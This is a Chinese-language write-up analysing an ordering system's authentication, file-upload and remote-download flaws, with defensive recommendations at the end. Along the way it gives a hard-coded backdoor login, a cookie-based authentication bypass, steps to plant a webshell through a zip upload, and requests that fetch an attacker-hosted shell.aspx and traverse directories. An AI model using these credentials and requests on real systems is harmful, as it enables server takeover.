某订货系统文件上传漏洞分析
字数 1964 2025-08-20 18:17:58

某订货系统文件上传漏洞分析教学文档

0x01 系统鉴权机制分析

双重鉴权机制

  1. 第一层鉴权:使用.NET的FormsAuthenticationModule HTTP模块

    • 主要功能:管理用户身份验证过程(登录、票据管理、重定向等)
    • 关键方法OnEnter逻辑:
      • 检查当前请求是否访问登录页面(AuthenticationConfig.AccessingLoginPage)
      • 非登录页面请求调用SetSkipAuthorizationNoDemand方法
      • 根据请求是否为有效Web资源决定是否跳过授权检查
  2. 第二层鉴权:自定义AdminPage类实现

    • 关键方法OnInit(页面初始化时调用)
    • CheckPageAccess检查流程:
      1. 检查用户是否为站点管理员
      2. 检查用户是否为管理员
      3. 检查用户是否具有页面所需特定权限
      4. 不符合条件则重定向到相应页面

后门账户发现

  • 存在硬编码后门账户:SuperMember/MdYdt2017Admin
  • 登录后直接使用userid=1101(管理员账户)

用户对象获取方式

  1. HiContext.Current.User → 内部调用Users.GetUser
  2. Users.GetUser方法重载:
    • GetUser():通过GetLoggedOnUsername()获取用户名
    • GetUser(int userId)
    • GetUser(int userId, bool isCacheable)
    • GetUser(int userId, string username, bool isCacheable, bool userIsOnline)

关键绕过点

  • GetLoggedOnUsername()直接从cookie中取Vshop-Member参数作为用户名
  • 若流程不验证密码,控制userIdusername可绕过鉴权

0x02 文件上传漏洞分析

漏洞位置

  • 类:ManageThemes(继承自AdminPage
  • 文件:/admin/ManageThemes.aspx
  • 关键方法:btnUpload2_ClickPrepareDataFiles

漏洞利用条件

  1. 管理员权限(需使用后门账户登录)
  2. 上传包含以下内容的zip文件:
    • 恶意文件(如webshell)
    • 与模板同名的xml文件(避免Page_Load报错)

漏洞利用步骤

  1. 登录系统(使用后门账户)
  2. 访问隐藏的上传功能(修改CSS display:none
  3. 构造恶意zip包:
    • 包含webshell文件(如1.aspx)
    • 包含与模板同名的xml文件(如test.xml)
  4. 上传时修改请求参数:
    • 设置hdtempname=test(与xml文件名一致)
    • 确保ContentType正确

访问路径

上传成功后webshell位于:
/Templates/master/pc/[模板名]/[恶意文件名]
示例:/Templates/master/pc/test/1.aspx

0x03 远程文件下载漏洞分析

漏洞位置

  • 处理程序:TaobaoProductHandlerAPI目录下)
  • 文件:对应.ashx文件
  • 关键方法:ProcessRequestProcessTaobaoProductDown

漏洞特点

  1. 无需鉴权(未继承AdminPage
  2. 使用WebClient.DownloadFile下载远程文件
    • URL参数:通过ImageUrls表单参数控制
    • 保存路径:/Storage/master/product/images/
    • 文件名:32位随机字符串(Guid.NewGuid()生成)

漏洞利用步骤

  1. 在VPS上托管恶意文件
  2. 构造请求下载文件:
    POST /API/TaobaoProductHandler.ashx
    ImageUrls=http://your-vps/shell.aspx
    
  3. 文件将下载到服务器随机命名

文件名获取方法

使用FillTableForPath方法遍历目录:

  1. 通过cookie设置Vshop-Member=admin绕过鉴权
  2. 利用路径穿越获取文件列表:
    GET /path?cid=../../Storage/master/product/images/
    
  3. 响应中包含file_list信息,可获取随机文件名

防御建议

  1. 移除后门账户
  2. 加强文件上传验证:
    • 检查文件内容而不仅是扩展名
    • 限制解压操作的安全目录
  3. 修复远程下载漏洞:
    • 添加鉴权检查
    • 限制下载URL为可信域名
    • 禁用路径穿越功能
  4. 加强用户认证:
    • 避免依赖cookie中的用户名
    • 实现完整的会话验证机制
  5. 隐藏敏感功能:
    • 彻底移除而非仅CSS隐藏后台功能

总结

该订货系统存在多重安全漏洞,包括:

  1. 硬编码后门账户
  2. 鉴权绕过风险
  3. 不安全的文件上传功能
  4. 未授权远程文件下载
  5. 目录遍历信息泄露

利用链可组合实现从普通用户到完全控制服务器的攻击路径,需全面修复。

某订货系统文件上传漏洞分析教学文档 0x01 系统鉴权机制分析 双重鉴权机制 第一层鉴权 :使用.NET的 FormsAuthenticationModule HTTP模块 主要功能:管理用户身份验证过程(登录、票据管理、重定向等) 关键方法 OnEnter 逻辑: 检查当前请求是否访问登录页面( AuthenticationConfig.AccessingLoginPage ) 非登录页面请求调用 SetSkipAuthorizationNoDemand 方法 根据请求是否为有效Web资源决定是否跳过授权检查 第二层鉴权 :自定义 AdminPage 类实现 关键方法 OnInit (页面初始化时调用) CheckPageAccess 检查流程: 检查用户是否为站点管理员 检查用户是否为管理员 检查用户是否具有页面所需特定权限 不符合条件则重定向到相应页面 后门账户发现 存在硬编码后门账户: SuperMember / MdYdt2017Admin 登录后直接使用 userid=1101 (管理员账户) 用户对象获取方式 HiContext.Current.User → 内部调用 Users.GetUser Users.GetUser 方法重载: GetUser() :通过 GetLoggedOnUsername() 获取用户名 GetUser(int userId) GetUser(int userId, bool isCacheable) GetUser(int userId, string username, bool isCacheable, bool userIsOnline) 关键绕过点 : GetLoggedOnUsername() 直接从cookie中取 Vshop-Member 参数作为用户名 若流程不验证密码,控制 userId 或 username 可绕过鉴权 0x02 文件上传漏洞分析 漏洞位置 类: ManageThemes (继承自 AdminPage ) 文件: /admin/ManageThemes.aspx 关键方法: btnUpload2_Click → PrepareDataFiles 漏洞利用条件 管理员权限(需使用后门账户登录) 上传包含以下内容的zip文件: 恶意文件(如webshell) 与模板同名的xml文件(避免 Page_Load 报错) 漏洞利用步骤 登录系统(使用后门账户) 访问隐藏的上传功能(修改CSS display:none ) 构造恶意zip包: 包含webshell文件(如1.aspx) 包含与模板同名的xml文件(如test.xml) 上传时修改请求参数: 设置 hdtempname=test (与xml文件名一致) 确保ContentType正确 访问路径 上传成功后webshell位于: /Templates/master/pc/[模板名]/[恶意文件名] 示例: /Templates/master/pc/test/1.aspx 0x03 远程文件下载漏洞分析 漏洞位置 处理程序: TaobaoProductHandler ( API 目录下) 文件:对应 .ashx 文件 关键方法: ProcessRequest → ProcessTaobaoProductDown 漏洞特点 无需鉴权(未继承 AdminPage ) 使用 WebClient.DownloadFile 下载远程文件 URL参数:通过 ImageUrls 表单参数控制 保存路径: /Storage/master/product/images/ 文件名:32位随机字符串( Guid.NewGuid() 生成) 漏洞利用步骤 在VPS上托管恶意文件 构造请求下载文件: 文件将下载到服务器随机命名 文件名获取方法 使用 FillTableForPath 方法遍历目录: 通过cookie设置 Vshop-Member=admin 绕过鉴权 利用路径穿越获取文件列表: 响应中包含 file_list 信息,可获取随机文件名 防御建议 移除后门账户 加强文件上传验证: 检查文件内容而不仅是扩展名 限制解压操作的安全目录 修复远程下载漏洞: 添加鉴权检查 限制下载URL为可信域名 禁用路径穿越功能 加强用户认证: 避免依赖cookie中的用户名 实现完整的会话验证机制 隐藏敏感功能: 彻底移除而非仅CSS隐藏后台功能 总结 该订货系统存在多重安全漏洞,包括: 硬编码后门账户 鉴权绕过风险 不安全的文件上传功能 未授权远程文件下载 目录遍历信息泄露 利用链可组合实现从普通用户到完全控制服务器的攻击路径,需全面修复。